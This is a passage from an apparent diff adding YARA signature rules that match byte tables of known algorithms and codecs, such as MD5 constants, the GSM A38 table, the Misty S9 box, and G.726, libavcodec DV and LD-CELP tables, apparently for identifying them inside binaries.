dd15291731f4e50374d1f0c2617d82c01c70fb5817a5994306d43bb0591a519676e8003f382360b7d1d89368bade6a6fe4f9ddc82a63a30beedc6788996a4cd0aab0d66d6498d83f254676f102d0fb274c17c30985c8ab0043865bc471edba5b63924d415bcaaab13951b5f88718502708a10b9a76d81b831bd5042242c9a47f5a5694940b43cd725ff6a09c6648231868d2254ece92392a0b7c5380f461a2ba982071328b6e3c8d2d721146a399d7403fada342951c207a8262f323aa0ae1152f04f4e023b426bf4276e5a6802df1ff73b4016dbfd16e2039a7574c51174530a90012e69c02ec8d3f44580e3d780e076f81dec2b49eca14b26cae3e8a6e3d7ef0962419e0c41f6ab54d1eb4070ebd951865e884b0188eec8df76067ea406fe8a29849412e594fba0461569896869c0f2b5ddd6b3bbd6724e0c586cc89e6c413d6b0ad97054d904eaa135621eec62b1090eef7e47087ea461faaafea4dffe4417e0ad344e80342331ab4138b23d382ad0107390468e90fcffbe0885a2218561b9dbed22957d22c1322251c7037fc7e85733835ef8ba5e9c86b3f1e0d7f4e0a8aa3fdb32302432ddbba719547aa3546bede10c3df3cb3dab1f17feaf9f8aafae359df84b1c154b01c08364a51d93a5595e535cd49974d48b9b01a109bd4b09882ec4d0c529b0c511822e09abcbe1aba96a1f3de7bccde7d0b09317355b1d35a5a16c87e6a950e656208910ffb142ffc28740395fed275f1a167b794936da49f815f269b68798b63a92fd27c17ddbc116dd8d8bdb5a9bdbfd3f1ba6c35714c3ef086e30f426c6f4b37c7fe26ddd036dc7ad14e8b4ad57b4c347b985ba7b25ba3373e9cf75d08c75d59a626898ee5898f2415b9f9cba339cf51eb250e96abfe92084165fa622c1a6261bf5e4895e9c896858b76ac43c2dc4971202b7128f9612e55c1d8af5335bf535ec36b973ae28732b10a8572380e02347a2f6f2926c4192052a8c2ad2e7d0d27511d32e6ab63a6abfb7bd1e9e90fc9e0ccb03161b32dd1b6d724dc03a98f23ad30581d3b79205b7bc02450372bbb572ad802d1fb0f93cb0c4182a928f20388f96d2721b08a8d6080ebe92b63ce6563c2d8feb78675f1a6730c613658b74538b918d428e4d62b14dff4a88b1f60c09f64aa975963771d2375c747ad8408b9140703b57c7f072adf0b423e5971918121994a75666f9cfe6f93c0d8f3cc9d50dc918631e9cee0186ee589e8a06e4839fe4aff5b824b3c66eb3bb5dd1997839ac785aeb6752b5b8cab545d7b47cdf0ef0dffa60949a0a82190af76bc04be1c269e12e3afc86c8c090c89ef3e3bb2f7c5d2f4e436aabd0cd1fd08cc42147dc31a2dc8525ca3fbb6eb8bbb5e348fa17ce601764936444ae8a17ae28a52b33869d73861efcd0387184e771d2c57cf476efde76aadf63c9915313917a6fc929a05c65a0d891da4c2b28362b491cfe31da4f06da7bafc1eae87f22e8a6145c12a36337a3a7d418b0d865c9d8827ae7200b97840b71fb4bec0cfcbd0c09e10f4e77fa43772c4f4c613325b9335b2bf3c8bf3ad3bfb2bc87ff81f64a8166e6a38270917a7054551911d1d882d10a5444a27b06fe7b25ae049b24ebd9243fb8bb32a8f4b3a8d62f91a027d48b2740fd3d6c20bfb22038e7e681022acf02f9d5f17fadb545ad57e0cc138d0af78d6f07495b1e732b1eecbd38560de9200d8f71a9f62a3dab2acf8c47b46034236048dc8e9dc06846c0904daccc076b3907781a32225745f15714a8d4a3556f3e55ed7dd7b54e5de34e800fddc114f132141bd66d26ef141befde0e85489379dc9383ba0bd553119a5313f7786f520407529567cb9eb2d3f3b23dcda223792c3179dc7b0a745aacd15a9bd9710d139a0b1363cc681cc24289c269981a07caea5fca672682c5aca0d8acd17025dcf8da7bf8ba9dc7c6de1b6dde7cf0c35dfaf0b4fa4348ded70fc3ef0f76a4504acfaba9cfe6e9c571cc94fbcc99ac5ea5b1eca1b14288ae7b15e4af159d46c888a9e12ea950bff7539bd10a9b8d04962d180d8f181237e43610a559101c89772125fe4425b92884e99ac4979a0b94c667d7a626d7f4deefe343b4c3430f7ed5025cd2755c6553a6b85dc7e85de3c3d61447e0a84708213e7a3b8d6f3b559552fddd243fdd03b58072be2f4ebe342c12c482c9188219a39eee502ec8506cb2ad6d0ed6720ef03459288e35a58e1042e21a26c11626c66d247df16730f132b3f0dea4080ea4dfce31344c772c4c79da4f7728176428365979ce5bb94c5b1d49000000000000000073ba01159d01869074373ecc993ed45abcbf972db79784e54ed621aa2f21be77d95a301aeb30246e9c5942a15e4289ee37187a13637aa33e276bea55edea5fc11c2bfc8e10fcbdc2ed54513b5551ea2220e6d58ce9d50d0b3ae11f66b61f6a2d66f3bc0581bccdf92cbeb94477b94c3699636ff7cc6f3e78953b033f52037f45b0e7fbe529fbc5d860df8a61ce8a171d6f91fd9b8dfd3b52aae0310f7631a2febfa98c1f6a8ce9978ba7ed3ed4ed27db98c2664a8766b656062c36644f36dae45570e2fd3be2517fead96ee2516eb8e8419856506c56923823f0cebe34ce6079309545ca6745f1f45a3e950778957d30617e83dc85839f33fb0bf71994f7cc393ccd2902f929b0c970ac1a27401aebe2cea49f85619f8a5b39f704546b04075f0df96575d565c91308c3482347487e85d28f630b71633799ecf558861e58620cc2fcf34dfff3cb66978c11b0c4119a1969bdcbffc2cbe1b6ba93a149f8a15e0151ebc616e2c66ec7078d3fd9043f52ca58898788ee87986c4a4d0541f60581cfe86e7c6dc77c5db4ee424a09884a8750cdb284b7bc84e72965e5a7375ca7a08b2fa8a276aaa22144a0946ba3a76b3927a5ae46f535468eb135af689cf568466228259dafae9d738ecf0596382a960275b6cbcd8166cd1f3c7e43646048644f839bd47d785a7ddb24432f44dffa4477649f4f59938359e49c7d557f52957f22f176802c430f2c3106dc601d4c791d93f8053a2d56922db79611d299fbc59974d1f9bce59602e52965d8fb39a7a039ac40340e6121be61ce4c5f04b851eab8caa65db3aade7caa2ffa1549bd101cbd4b69ff90d3f24dd3f381afda1c59e41c1568b146f25862f24df6a40f4f487e4f069fa1a35cebf8f0f94c2c203d650f3f095d1a2bdaee4084a2a7d32404574d7bcc68f785bea594a9adc4f2eb54456206949c3f5e334d0475ced15994299b835d1f60785b7989ac204794025da6a2cf461a41df1f3a71f01a901b27284f018bb77637e1955a6d694c531024a1baf2d9d261ace4fbb08d9fe36a488d83618ef7cff0112ac72276abf5279ef9e32621e68eebf6bf323fb4d3f86f69bb888605b8745beb70dafe1e7acd2f65d0adf1a41f1edbf31e91635f2b089625ee2791b8864818f899ce23e4c56c1484f33f0714ff259946bd6f99161cbe75289f293cf761a63a47b80173f6ea114c706543ef25d54dc62a39b92c5ea0bfe01263a4f0367187e8e94c0d38a02cddf62f07334c4239e9231943bff375c3d9bdc7ca862b4a5f9a79545d2e902ae8d12be2137e0e280b4ac78cf162a1b63063830755af17bd3e3c4313358212781ddebc6194214e93e52e452dc18e592edb12063eec7a371a490e02b94963d240da72cf7741e255d70c9fa786ff0439324244c53588ed8b6e0160c9496c163be39e83a301c534e09fb09e32bc806c0cf9d78da1b8dba583c09b96a499746047af11411be7f40c4b56c6ccba5f6270a367eca4e533d41748157492ef71eff3c2e91b6b15220e66988472274632534808ae9af66dd08231aa5b18cbbbf9b2dd52c3f3ba3ec0dd429cd33f5c8a5a4e509e02e39bec6e26fc1c5016947bedd9f8256254d0bed80955d4c64bce652b1610e4c8fde5fed46dc268b203a0aedb2e7d9bc7c079131cc3d3ff8c14541c7fd64aeeb7bbd4f530ab7f7ddee15b8bfc144d426a32a3e4958e0a947da5aae78a798f2ad831034a4e3be48afc6ff9fa53529c5bff07d5600abee66ce54edb62b3931202d1dcc7663450c1fd5dc8937a4ba4cdb60b0e5fc01457f2b11ff17a595247054ac4a85589455a1ddc68d13808fb5cfac37b75f22638c207acdd897711a5289a84d464b33ddfc05a0a7f46310be4e6a6162f50a5700906e71f13a4ca2ec35f733688279731a3eb497b5870e721a0b667eb7298360a42e3c8fccfa60a4951e772457ecd867dd36978d103682c9a590def6d77204251a9c90fdeb90dff6ecfd179a2f5823dd6292fa9c8965d5a1ec681b85fa84aaeac62dc96cf82a27f8780602d05c523e2ff7219a22f1d12e1b53ce52fe3dc02c0679258407aca1e7e12ba61f95694bec1f2a848b781114751c2adaaab2e8f7c78862604bab9b16b8c34822df46e34921c04871123a88ac40cddcdc6bd156ce2fb25277f6835cb95c9648d83e5f90a85e8b6234f84cd537eb8e1b4294ed785f99030051cccc5fde44e8c64cb52781bc2b9748e1d1896ac796d81beb30901926e99331aad9862cd4591a53fc8db8de890dc63157bd28c7afe45500f0adc213519ab72b0a8f6882db33e9c67b5ee1e81ca531dd9201b0343b25e552e4036068691bcaa5cae11973e17f4b2a49efd6fa6fc85379d33650d6bb91492a23a30d9adf2daf7890c3b3e26bd615c73f651edf4098aa01e710ead4fe7ee22bf3138abc9765288e39d749a55aee020066e4b9d4151c5b94084d6b548bc01953a360be78b4fbbabfaa22aa918aa95eed7edae644bd42d0f6346d119953576849f6497bc74486ecbf0fbbe808329c8f1b74aea27b38817d8ec5626e24e6c595488056eeae0f6af39584558ec6667139304448cbf37fa309ede6f9fce10cce6b49aa0770fba65d3f496671e49871a0bdc6bda71d09106b5a94308818797d6ed68f1a3fefa4937b6e30db080f4613cfc2481763de10dde0701a64dd96bf1b1fefbf592c6518041e46bee3456412980fdb1bb981a70b5584f195e3d0395efcb33d490ba5cd554255756314b3e74e21534d5366af124f03a498dc27ebc669a08ea695730ecf898eb718539a922db7c2e1d91bd7a06df2b63665dd5b154a730a1df295bfc8dccc11021d2aecfe8c1aaa935400c97a8bb60b74b52b618767c4c8fc2b8e69a47d6179709031f0000000000000000ac4c319cd8b2a8e5b9d520a7773241aadecb69206d399dc11f45300eb62b9bff10f7fbdb592fd0173e8a601c9956c30b8502e619212298e0f5d818075befb785547b44eca31f4ec99ca0c90433c32ddce041093cf46f5ecaa69010a9c119da55c769463d7fd828fdc4e0b3ce2dbd3f662575e9a344f16c7601d453519d230ddafa6ad3d2b4ebfc6dd5c31b44e9b1e2abf83775707bade62cbcbbca47819d78f2d79ebde626f7f8ea5bc98f394c1b05212246a5e17d184f6f12aa5d799669ca565ea765d9bab43c798939d83f9c43c49332b15e3a24379f78e914ddfabfa13be1909bf7228ea271af73530bed28a838fed2f05706d058c1b2fed06a63df67c8efb43a4dd057701003a519e55a937ccdce75b414fe8c62163dafc5c46f8ad7bf7e2392f6b0e03b42b5386d7f0f3d9cedc821cf50122f7d58f49b9385460a2a0ec55115ae0c55b077910fb2cbd5ef044be8ea9d2809edc42c7acc613459fb505797426ba0245efab01d1599113baf80e94f7d3593695a8f7ecc0389f5f35265179b875f40bbee6482a195f51dc2780d48f77ce1c038c7ac7316ce3c92fb34164dd6cdb5670866735a4d8ab02dccce26d308914fa47313817c758b647e9d5305ded2d82c7633c9f3b302728758bcb58b3524e8c08eab2282363b8fdec72c3889ea502b13712736d62a443cd7c6be5610d94a37dfb4dad298a620868b13ea73478f7bb7b3b823051507980b08726484887f6a1bff89bfdda7af7d77e9b25c43240c7cf0b6f2e7ad408edd17c4b79960c6f30e8c5732df6aecfdcb68ac8252f50f978366ca1ad68728d1b16b2577a1a76a8018e21caf9e3b29448ba74443f85c3ad78ffd599f908d02df74967ce8312a685f6cfa7b9775ba3af75103ef98cb769c2d137191ce067072359ebab18b6bff7516a8e6e5ef4efbc1065e7bec74a3b1d0dbf4656b4fb907c31c4a4e8520f99fc863048fd8df31d16dae5890a93fc1e60a724430ad09f2b449cfc58453be7e91bb5b901d68a3d1c08feaad5c54642504b410f68061383c8a9e3707f9940fbecca6da4246e1d97da982bbdffc50521656f7ad775e4d2704f35c26478bea5973ca48c2cfd06323dfa34593bd62b651306a7a5dcea436b0714966d1164f73fb131ebc78a692b07ce011e244f533429139c2d5e2d6cee418c515565403d7be3d56cefcd23953ed83285f4789a9f3e9b51b0d04342820650e0fd8dd8a86b6e7f4add21aa2e46d0fb63d3189c4910da0a42cac1bafee3f14eeffefba569a13279f361a0868509b225e8ea6dc878c6684d772715f3159a3ebaef824df9092c499a260d4f4ba69aa798c9693e153eb50021be329dba4ba949bb983fd2f1ed3dfdac4d2f8b60ae2f0062dd07b98193bafbdd13e09b024deb95e13a089e93bbb649d945386b707e8e4fcac6f0c2930ef413cc7f4c43bfa5b3b2668bdf49f3a0de50a77858d5d2b4d05c45da89a5177353ee235156ece4d38fe491137a11f9bc6b7112f47536eb94607dd1e896db941841ab5bd58ad36ab298197e3d60bea2ca5ab8f577c129548499cff4007cb65c608a00436335243bd81fda689fcd783b6d5ccfd5be4e2be62b275a348446b57590917151974012d04c7fb8d4c9f3b4eecf3ac5249f57f2c09cd9346a70a90965f57043286421b256c9727b81086b564cb023569545a2e18b8f06b24735edd449eb72193d5e559a99124c7763aaba268977ab0cc31ce3ed7f8c2c939064c78ef158716e3c29e80591f655da2bfcf85c00b545990398d9ee567c367720c98f02b2afb54309da132fec82deab39088d6aeb2129682faa20ac72862d38cbb14d5d9beae4c9c63d8682055b5d648e6bc4f88c99bdc355c198e2a27f110c807fd6c944543450e41b6df1e96cc0b8b614f40d6f5c8d27a60fe54ada50c49583e70f27122808dc19c10268598e95866e2671f917c6179f537824638ed45c2b267033839e04fcb20456d8f0723362a18b4aa197f64ecdbe84290e393667573888d27879a032fe8aad3a9214684a36ee02ef64715e982a996145de57d7ef8c8cfdda6f99b0e25062bc563eccd5a26264ecb6c3410d0a0b8a8c84a089d20197dc7b1c05d1d81d2d5a77e773914e4884b417d5105991431f62de8b39755431d993b1daf5134b13d82787b1d7d7601b6e321b2e66190716bb5086c66a4868ff79ee603263c8df0b9349f8fb0af6ca3525b897aac690d51727c316a2adc699a70d451a59db860ff2a706715ecf1062e3c838ea0f7fc021a1457df056a4462e53ecf12c32f94224fa1ed6e8e01bb17f396915fe42b677e69e689f31a523da0f47ee71334a47ab51dfca860cfb76409655a9f10d8ccbdf9eb1bef77cd204cffc527f862d4544dd2c1e08a1c82994b3cd96dae4b0ad488c43f7c98cdc645d040aa9f7fdef2e1aaf5b7634717029728f6a07d745593aeea2342abee8116cacd8bde85727e56cd06ee188d227c4d2e2f35bc37977421488bb333c0a21d7512a5ab8b30bb4750817e010d0a6cf96dd7b0fddf332801f78bee97525d1c9e783b41fbf10f9d099bed4a11ddaa7a1aaf4930a4c05632b44ad343a1f9743cfb763499267b89b2d572efc93fce7363408adaeb0e466cada4921ffe58126f5fbbfcee72283de56ad2a8b45c3085150c567fc62d6fb44c956d62697c5b057125a153a7428cfdb3150c5a55f6c53276e2d7690ce0e46ac9da1e997a62e77dd7f5c27078e1c96e0ec344bce9b94dfbed60af12119d926b7fa1f2edd9d337a623cad69e870e7338943770177bd9f08e41a5c06b9bc812cab41f71e0f03767dc1c44f89a5c5e6a8d6e6159c9fb1ce670dd8e2e04db5019b5fa8805c1b8bcd4efdce138f1c7967847da4ab7a6bb84ed0f93000000000000000038c9f0768203171e1b4366b22c42b08b7803ec68c74cf6e7ec9855eb3a63e834be830d29e4507a3f2dc5aa2374c62568a62ff350be8ee7a7764cd08f1dcb741a8c3747faa7f1834b0fb9e70d5bf3995f55c6464bb38ad38ff7db3359162158bfd195f8352231881f0992226eb73ec37914fa81bf77b129d448aee59a730539222457884dc3f8e611ffbfcadd206b8064b4feb78c25f29455864afd5f66536d216f16f51cc661f220de2c1f3879c21140195a2593dbaa863a2e2a32e8025a087b432584d533d3ccea2c3371c9f5b23ecaa7d928ba3ffafc0542d35f3fb2a7d74885a5659410cf40320864f984364ad8dbf21f6ef18c702f8af1f0f63afaec0299d9f101b1147b50c42fdce902832e13d94d6ab832e9544e17e0ce2a2d170c5c7851f4c009a8afbf1868cbeb95abd8b3a4c15dffc84ea5cd5c02194321f7e836b1113edc17ede05ee1521b58c2de33920b9ad4856427a89c2e5629de80c516fe9c77ba0b659cbf6fb8238a96c4ae41a79512d144dc9b7c73f2d807da5b950f4b663686cc91588495e318acfe795ade9d985a7fa146e8794ad0c680e141231c8cd81e873b1ab613c7bef434ab9260bd75accd0b800e63ca7910bc9a4e0813b84c8e3d0dadde1852602b40ca1c1e454fe1f90a7dbaa5c1a2ee6a693d307f2aaca8060e4f3ce7da8782fdbd6c95e292cc572c3ad0b35775eb21af7e28290b2b81acc101f6dbea81741ba287bc26b5e7277683393f2b9c03770cbcddc387f30f5e3c53eb454b6257daa9b0b323a905484bd5d1b13aea24bfa3e360315bd218353dd4672bee6f40980b7f4ee95c0843a0329f01c56f798a5580a1cbbf75d6c36524619d29f72c616fe349ffc0ab2422cfd1d6fe }
+
+condition:
+	$a0
+}
+
+	
+rule bsynz_kexc_table__float___flt32___32_big_100_
+{
+strings:
+	$a0 = { 41000000c180000041d00000c240000042ac0000c322000043930000c3fb000044338000c43600004338000044280000c4188000c428000043380000443600004433800043fb0000439300004322000042ac00004240000041d000004180000041000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_sa_sqrt_1_minus__flt32___32_lil_64_
+{
+strings:
+	$a0 = { 0000803f0000803fb3ad7f3fcbeb7b3f785c7f3f09a0753fc8ba7e3fff09653f7f7b7d3fe7b1533fc90c7b3fe8d0343f1066763fe325e83ea2d76d3f00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_place_411__16_big_2700_
+{
+strings:
+	$a0 = { 0c2427103334000018480d2428103434010019480e242910353402001a480f242914353803001b4810242814343804001c4811242714333805001d4811282614323805041d4c10282514313804041c4c0f282414303803041b4c0e282418303c02041a4c0d282518313c0104194c0c282618323c0004184c0c2c2718333c000818500d2c2818343c010819500e2c2918353c02081a500f2c291c354003081b50102c281c344004081c50112c271c334005081d501130261c3240050c1d541030251c3140040c1c540f30241c3040030c1b540e3024203044020c1a540d3025203144010c19540c3026203244000c18540c3427203344001018580d342820344401101a580e342920354402101c5812242d10393406001e4813242e103a3407001f4814242f103b340800204815242f143b380900214816242e143a380a00224817242d1439380b00234817282c1438380b04234c16282b1437380a04224c15282a1436380904214c14282a18363c0804204c13282b18373c07041f4c12282c18383c06041e4c122c2d18393c06081e50132c2e183a3c07081f50142c2f183b3c08082050152c2f1c3b4009082150162c2e1c3a400a082250172c2d1c39400b08235017302c1c38400b0c235416302b1c37400a0c225415302a1c3640090c215414302a203644080c205413302b203744070c1f5412302c203844060c1e5412342d20394406101e5813342e203a440710205814342f203b44081022581824331003340c0024481924341004340d0025481a24351005340e0026481b24351405380f0027481c2434140438100028481d2433140338110029481d28321402381104294c1c28311401381004284c1b28301400380f04274c1a283018003c0e04264c19283118013c0d04254c18283218023c0c04244c182c3318033c0c082450192c3418043c0d0825501a2c3518053c0e0826501b2c351c05400f0827501c2c341c0440100828501d2c331c0340110829501d30321c0240110c29541c30311c0140100c28541b30301c00400f0c27541a30302000440e0c26541930312001440d0c25541830322002440c0c24541834332003440c1024581934342004440d1026581a34352005440e1028581e243910093412002a481f243a100a3413002b4820243b100b3414002c4821243b140b3815002d4822243a140a3816002e4823243914093817002f4823283814083817042f4c22283714073816042e4c21283614063815042d4c20283618063c14042c4c1f283718073c13042b4c1e283818083c12042a4c1e2c3918093c12082a501f2c3a180a3c13082b50202c3b180b3c14082c50212c3b1c0b4015082d50222c3a1c0a4016082e50232c391c094017082f502330381c0840170c2f542230371c0740160c2e542130361c0640150c2d54203036200644140c2c541f3037200744130c2b541e3038200844120c2a541e343920094412102a581f343a200a4413102c5820343b200b4414102e58242403100f3418003048252404101034190031482624051011341a0032482724051411381b0033482824041410381c003448292403140f381d003548292802140e381d04354c282801140d381c04344c272800140c381b04334c262800180c3c1a04324c252801180d3c1904314c242802180e3c1804304c242c03180f3c18083050252c0418103c19083150262c0518113c1a083250272c051c11401b083350282c041c10401c083450292c031c0f401d0835502930021c0e401d0c35542830011c0d401c0c34542730001c0c401b0c3354263000200c441a0c3254253001200d44190c3154243002200e44180c3054243403200f4418103058253404201044191032582634052011441a1034582a24091015341e0036482b240a1016341f0037482c240b101734200038482d240b141738210039482e240a14163822003a482f240914153823003b482f280814143823043b4c2e280714133822043a4c2d28061412382104394c2c280618123c2004384c2b280718133c1f04374c2a280818143c1e04364c2a2c0918153c1e0836502b2c0a18163c1f0837502c2c0b18173c200838502d2c0b1c1740210839502e2c0a1c164022083a502f2c091c154023083b502f30081c1440230c3b542e30071c1340220c3a542d30061c1240210c39542c3006201244200c38542b30072013441f0c37542a30082014441e0c36542a34092015441e1036582b340a2016441f1038582c340b20174420103a5830240f101b3424000048312410101c3425000148322411101d3426000248332411141d3827000348342410141c382800044835240f141b382900054835280e141a382904054c34280d1419382804044c33280c1418382704034c32280c18183c2604024c31280d18193c2504014c30280e181a3c2404004c302c0f181b3c24080050312c10181c3c25080150322c11181d3c26080250332c111c1d4027080350342c101c1c4028080450352c0f1c1b402908055035300e1c1a40290c055434300d1c1940280c045433300c1c1840270c035432300c201844260c025431300d201944250c015430300e201a44240c005430340f201b4424100058313410201c4425100258323411201d44261004583624151021342a0006483724161022342b0007483824171023342c0008483924171423382d0009483a24161422382e000a483b24151421382f000b483b28141420382f040b4c3a2813141f382e040a4c392812141e382d04094c382812181e3c2c04084c372813181f3c2b04074c36281418203c2a04064c362c1518213c2a080650372c1618223c2b080750382c1718233c2c080850392c171c23402d0809503a2c161c22402e080a503b2c151c21402f080b503b30141c20402f0c0b543a30131c1f402e0c0a543930121c1e402d0c0954383012201e442c0c0854373013201f442b0c07543630142020442a0c06543634152021442a1006583734162022442b1008583834172023442c100a5800241b10273430000c4801241c10283431000d4802241d10293432000e4803241d14293833000f4804241c1428383400104805241b1427383500114805281a1426383504114c0428191425383404104c03281814243833040f4c02281818243c32040e4c01281918253c31040d4c00281a18263c30040c4c002c1b18273c30080c50012c1c18283c31080d50022c1d18293c32080e50032c1d1c294033080f50042c1c1c284034081050052c1b1c27403508115005301a1c2640350c11540430191c2540340c10540330181c2440330c0f54023018202444320c0e54013019202544310c0d5400301a202644300c0c5400341b20274430100c5801341c20284431100e5802341d20294432101058062421102d3436001248072422102e3437001348082423102f3438001448092423142f38390015480a2422142e383a0016480b2421142d383b0017480b2820142c383b04174c0a281f142b383a04164c09281e142a383904154c08281e182a3c3804144c07281f182b3c3704134c062820182c3c3604124c062c21182d3c36081250072c22182e3c37081350082c23182f3c38081450092c231c2f40390815500a2c221c2e403a0816500b2c211c2d403b0817500b30201c2c403b0c17540a301f1c2b403a0c165409301e1c2a40390c155408301e202a44380c145407301f202b44370c1354063020202c44360c1254063421202d4436101258073422202e4437101458083423202f4438101658 }
+
+condition:
+	$a0
+}
+
+	
+rule Misty_s9__32_lil_2048_
+{
+strings:
+	$a0 = { c3010000cb000000530100009f010000e3010000e9000000fb0000003500000081010000b900000017010000eb01000033010000090000002d000000d3000000c70000004a010000370000007e000000eb0000006401000093010000d8010000a30000001e010000550000002c0000001d000000a201000063010000180100004b01000052010000d20100000f0000002b000000300000003a010000e500000011010000380100008e01000063000000e3000000c8000000f40100001b000000010000009d000000f8000000a00100006d010000f30100001c000000460100007d000000d100000082000000ea010000830100002d010000f40000009e010000d3010000dd000000e201000028010000e0010000ec0000005900000091000000110000002f01000026000000dc000000b00000008c0100000f010000f7010000e70000006c010000b6000000f9000000d800000051010000010100004c01000003010000b8000000540100002b010000ae01000017000000710000000c00000047000000580000007f000000a40100003401000029010000840000005d0100009d010000b2010000a3010000480000007c00000051000000ca010000230000003d010000a7010000650100003b00000042000000da00000092010000ce000000c10000006b0000009f000000f10100002c01000084010000fa00000096010000e1010000690100007d01000031000000800100000a01000094000000da010000860100003e0100001c0100006000000075010000cf01000067000000190100006500000068000000990000005001000008000000070000007c010000b70000002400000019000000de00000027010000db000000e4000000a90100005200000009010000900000009c010000c101000028000000b3010000350100006a01000076010000df000000e501000088010000c50000006e010000de010000b1010000c3000000df01000036000000ee000000ee010000f000000093000000490000009a000000b60100006900000081000000250100000b0000005e000000b400000049010000c7010000740100003e0000003b010000b70100008e000000c6010000ae0000001000000095000000ef0100004e000000f2000000fd01000085000000fd000000f6000000a00000006f010000830000008a000000560100009b0000003c010000070100006701000098000000d0010000e901000003000000fe010000bd0000002201000089000000d20000008f01000012000000330000006a00000042010000ed000000700100001b010000e20000004f0100005801000031010000470100005d00000013010000cd0100007900000061010000a5010000790100009e000000b4010000cc00000022000000320100001a000000e80000000400000087010000ed0100009701000039000000bf010000d7010000270000008b010000c60000009c000000d00000004e0100006c00000034000000f20100006e000000ca00000025000000ba00000091010000fe00000013000000060100002f000000ad01000072010000db010000c00000000b010000d6010000f5000000ec0100000d0100007600000014010000ab010000750000000c010000e401000059010000540000001f0100004b000000c4000000be010000f700000029000000a40000000e000000f0010000770000004d0000007a010000860000008b000000b300000071010000bf0000000e01000004010000970000005b0100006001000068010000d7000000bb00000066000000ce010000fc00000092000000c50100006f000000160000004a000000a100000039010000af000000f1000000900100000a000000aa010000430100007b010000560000008d01000066010000d4000000fb0100004d010000940100009a01000087000000f801000023010000a7000000b8010000410100003c000000f9010000400100002a000000550100001a010000a101000098010000d500000026010000af010000610000002e01000057010000dc010000720000008a010000aa0000009600000015010000ef000000450000007b0000008d00000045010000530000005f00000078010000b20000002e00000020000000d50100003f000000c9010000e7010000ac010000440000003800000014000000b10000006b010000ab000000b50000005a00000082010000c8010000d4010000180000007701000064000000cf0000006d0000000001000099010000300100005a0100000500000020010000bb010000bd010000e00000004f000000d60000003f010000c40100002a0100001500000006000000ff0000009b010000a60000004300000088000000500000005f010000e801000021010000730000007e010000bc000000c2000000c90000007301000089010000f501000074000000cc010000e6010000a8010000950100001f000000410000000d000000ba010000320000003d000000d101000080000000a800000057000000b90100006201000048010000d900000005010000620000007a00000021000000ff0100001201000008010000c0010000a90000001d010000b0010000a6010000cd000000f30000005c000000020100005b000000d901000044010000f6010000ad000000a50000003a000000cb010000360100007f01000046000000e10000001e000000dd010000e600000037010000fa010000850100008c0000008f00000040000000b5010000be0000007800000000000000ac000000100100005e0100002401000002000000bc010000a2000000ea00000070000000fc010000160100005c0100004c000000c2010000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_p_from_kurt_func__flt32___32_lil_164_
+{
+strings:
+	$a0 = { 512dba3edcd9e73e28100a3f87c21f3f6b28353f86574a3f315e5f3fdd45743f9c8a843fd1e88e3f293f993ff38ea33f7fd9ad3f751fb83f7c61c23f3ca0cc3f5ddcd63fdf15e13f6a4deb3ffd82f53fedb6ff3f9df404401b0d0a401c250f40753c14407a531940d7691e40e17f234096952840f8aa2d402fc03240e9d4374079e93c40b5fd4140c7114740af254c406d395140014d564042605b408273604098866540 }
+
+condition:
+	$a0
+}
+
+	
+rule MD5_digest__32_lil_AND_
+{
+strings:
+	$a0 = { 01234567[0-20]89abcdef[0-20]fedcba98[0-20]76543210[0-20]78a46ad7[0-20]56b7c7e8[0-20]db702024[0-20]eecebdc1[0-20]af0f7cf5[0-20]2ac68747[0-20]134630a8[0-20]019546fd[0-20]d8988069[0-20]aff7448b[0-20]b15bffff[0-20]bed75c89[0-20]2211906b[0-20]937198fd[0-20]8e4379a6[0-20]2108b449[0-20]62251ef6[0-20]40b340c0[0-20]515a5e26[0-20]aac7b6e9[0-20]5d102fd6[0-20]53144402[0-20]81e6a1d8[0-20]c8fbd3e7[0-20]e6cde121[0-20]d60737c3[0-20]870dd5f4[0-20]ed145a45[0-20]05e9e3a9[0-20]f8a3effc[0-20]d9026f67[0-20]8a4c2a8d[0-20]4239faff[0-20]81f67187[0-20]22619d6d[0-20]0c38e5fd[0-20]44eabea4[0-20]a9cfde4b[0-20]604bbbf6[0-20]70bcbfbe[0-20]c67e9b28[0-20]fa27a1ea[0-20]8530efd4[0-20]051d8804[0-20]39d0d4d9[0-20]e599dbe6[0-20]f87ca21f[0-20]6556acc4[0-20]442229f4[0-20]97ff2a43[0-20]a72394ab[0-20]39a093fc[0-20]c3595b65[0-20]92cc0c8f[0-20]7df4efff[0-20]d15d8485[0-20]4f7ea86f[0-20]e0e62cfe[0-20]144301a3[0-20]a111084e[0-20]827e53f7[0-20]35f23abd[0-20]bbd2d72a[0-20]91d386eb }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_A38_table_1__8_byt_256_
+{
+strings:
+	$a0 = { 130b50722b01455e27127f756103552b1b7c46532f473f0a2f594f040e3b0b05236b67441556245b557e20326d5e7806354f1c2d635f292258445d376e7d69145a504c60173c594079380e4a6508134e4c42682e6f32200327003a195c16123339417774166d07563b5d3e6e4e634d430c71576266055821263817084b2d0d4b5f3f1c317b7814702c1e0f626a02671d526b2a7c181e29106c64752849280772527324700c6664545c3048610936374a717b111a353a0409457a15762a3c1b49767d220f417354403e514601186f79536851317f30691f0a065b57251036747e1f260d00486a4d3d1a432e1d60253d3465112c6c473442392133195a02777a23 }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__iquant_tbl___32_lil_128_
+{
+strings:
+	$a0 = { 00000080BEFFFFFF1C00000068000000A9000000E0000000120100003E010000660100008B010000AD010000CB010000E8010000020200001B02000036020000360200001B02000002020000E8010000CB010000AD0100008B010000660100003E01000012010000E0000000A9000000680000001C000000BEFFFFFF00000080 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_audio_shuffle625__8_byt_108_
+{
+strings:
+	$a0 = { 0024481a3e62103458062a4e204468163a5e0c305402264a1c406412365a082c5022466a183c600e325604284c1e426614385c0a2e520125491b3f63113559072b4f214569173b5f0d315503274b1d416513375b092d5123476b193d610f335705294d1f436715395d0b2f53 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_shape__flt32___32_lil_2560_
+{
+strings:
